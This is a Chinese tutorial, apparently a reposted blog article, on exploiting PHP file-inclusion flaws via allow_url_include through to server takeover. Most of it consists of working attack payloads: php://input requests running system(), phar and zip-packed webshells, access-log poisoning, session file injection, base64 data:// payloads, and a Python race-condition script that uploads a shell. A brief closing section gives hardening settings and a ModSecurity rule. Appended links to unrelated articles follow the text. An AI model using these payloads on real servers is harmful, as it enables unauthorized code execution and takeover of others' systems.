当前位置: 首页 > news >正文

从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南

PHP文件包含漏洞实战:从协议利用到权限获取的全链路解析

当你在渗透测试中发现目标服务器开启了allow_url_include配置时,就像拿到了打开宝库的钥匙。这个配置项本意是为了方便开发者动态加载远程代码,但却经常成为攻击者突破防线的突破口。本文将带你完整走通从漏洞发现到最终控制服务器的全流程,涵盖PHP 5.2到7.x各版本的差异化利用技巧。

1. 漏洞环境侦察与确认

在开始攻击前,我们需要先确认目标环境的"地形地貌"。经典的探针文件phpinfo.php能提供关键情报:

curl -I http://target.com/phpinfo.php | grep "PHP Version"

如果无法直接获取phpinfo,可以通过错误触发来收集信息。尝试访问不存在的参数触发警告:

http://target.com/index.php?file=nonexistent.php

观察返回的错误信息,常见的有效情报包括:

  • PHP版本号范围(5.3.4 / 7.2.1等)
  • 服务器绝对路径泄露
  • 已加载的扩展模块列表

关键配置检查表

  • allow_url_fopen状态
  • allow_url_include状态
  • open_basedir限制范围
  • disable_functions黑名单

提示:现代PHP环境通常会在错误提示中隐藏敏感信息,此时需要依赖差异化的协议响应来判断配置状态

2. 协议选择与利用链构建

不同PHP版本对协议的支持程度差异显著,下面是主流协议的版本适配矩阵:

协议类型PHP 5.2PHP 5.3PHP 5.6PHP 7.x
php://input
phar://×
zip://
data://
expect://××

2.1 php://input的实战应用

allow_url_include=On时,这是最直接的利用方式。通过Burp Suite构造请求:

GET /index.php?file=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 33 <?php system('id'); ?>

绕过技巧

  • 当存在WAF过滤<?php标签时,可以尝试:
    <?= `ls -la` ?>
  • 使用短标签变形:
    <% system('whoami'); %>

2.2 phar协议的高级利用

phar协议在文件上传场景中特别有效。假设我们有一个图片上传点:

  1. 创建恶意PHP文件:

    // shell.php <?php system($_GET['cmd']); ?>
  2. 压缩并修改后缀:

    zip shell.jpg shell.php
  3. 通过包含触发:

    http://target.com/index.php?file=phar://./uploads/shell.jpg/shell.php

注意:PHP 5.3.0以下版本不支持phar协议,且需要目标服务器开启phar扩展

3. 持久化与权限提升

获取初始立足点后,我们需要建立稳定的控制通道。推荐几种持久化方法:

3.1 Web日志污染技术

当其他方法都失效时,日志文件往往是最可靠的突破口。Apache环境下:

http://target.com/index.php?file=<?php system($_GET['cmd']);?>

这会将恶意代码写入访问日志,然后包含日志文件:

http://target.com/index.php?file=/var/log/apache2/access.log

日志路径参考表

服务器类型默认日志路径
Apache/var/log/apache2/access.log
Nginx/var/log/nginx/access.log
IISC:\inetpub\logs\LogFiles\W3SVC1\

3.2 Session文件注入

在具有文件上传但无法直接访问上传目录时:

  1. 获取当前session ID(PHPSESSID)
  2. 通过表单注入恶意代码到session文件
  3. 包含session文件路径:
    /tmp/sess_[PHPSESSID]

4. 现代环境下的绕过艺术

随着PHP版本升级,传统的利用方式逐渐失效。以下是针对新环境的技巧:

4.1 编码混淆技术

使用base64编码绕过内容检测:

http://target.com/index.php?file=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

4.2 临时文件竞争利用

结合文件上传与LFI的时序攻击:

import requests while True: files = {'file': ('shell.php', '<?php system($_GET["cmd"]);?>')} requests.post('http://target.com/upload.php', files=files) r = requests.get('http://target.com/index.php?file=/tmp/phpXXXXXX') if 'uid=' in r.text: print('Shell uploaded!') break

5. 防御视角的漏洞修复建议

理解攻击手法后,开发者可以更有针对性地加固系统:

  1. 配置加固

    allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html
  2. 代码层防护

    $allowed = ['header.php', 'footer.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); }
  3. WAF规则示例(ModSecurity):

    SecRule ARGS_GET:file "@rx (php://|phar://|zip://)" \ "id:1001,deny,msg:'PHP Wrapper Attack Attempt'"

在PHP 8.0+环境中,许多历史漏洞已被默认修复,但开发者仍需保持警惕。定期进行代码审计和安全测试,才是防御这类漏洞的根本之道。

http://www.jsqmd.com/news/652128/

相关文章:

  • 深度解析CD74 (巨噬细胞迁移抑制因子受体):从分子机制到ADC药物研发的技术全景
  • PHP源码开发用二手硬件划算吗_性价比与稳定性权衡【操作】
  • 集成开发环境phpStudy安装与配置指南(包含DVWA)
  • 前端工程化进阶:从开发到部署的全流程优化
  • 搭建UI自动化测试框架详解
  • 告别网络卡顿!手把手教你离线安装Stanza英文模型(附1.5.1版本资源包)
  • 深圳福田区废品回收站:专业回收企业优选测评 - 企业推荐官【官方】
  • p2p 视频传输方案
  • 全球正规外汇平台推荐解析 聚焦合规与核心服务 - 速递信息
  • 【实战指南】Ubuntu密码遗忘与高效重置全流程解析
  • Vue 3 静态提升与 Block Tree:编译时优化的“核武库”
  • 高通Camera驱动(2)-- open与initialize的CHI扩展与资源管理
  • CF1767E Algebra Flash
  • 东莞包装印刷厂哪家好?2026年第三方实测数据全公开 - 速递信息
  • NavMeshPlus:Unity 2D智能寻路的终极解决方案
  • 添力网络SEM常见问题解答(2026最新专家版) - 速递信息
  • AutoSar Com模块实战:从零配置一个‘手机控车’的周期事件帧信号(含状态机设计)
  • 如何通过Intel NPU加速库实现10倍AI推理性能提升
  • AI写教材的秘密武器:低查重技术,打造优质教材!
  • git技巧之时间穿梭
  • 云南昆明污水处理设备厂家信息汇总 - 速递信息
  • 【技术应用】PLA技术原位锁定致病蛋白互作,让信号无处遁形
  • 专业的系统控温门窗品牌推荐 - 企业推荐官【官方】
  • 2026东莞二手房改造指南:从精改体系到设计驱动,六类服务商横向排行 - 速递信息
  • 5分钟掌握RePKG:Wallpaper Engine资源逆向工程与提取终极指南
  • 目前正规的商标购买平台有哪些 - 企业推荐官【官方】
  • 学习c语言
  • RTK定位快又准?聊聊FARA、LAMBDA这些模糊度快速固定算法的实战选择
  • LabVIEW 3D视觉开发工具包:从零到一构建工业级三维感知系统
  • 别再只盯着GPT了!手把手带你理解ChatGLM的‘自回归填空’到底强在哪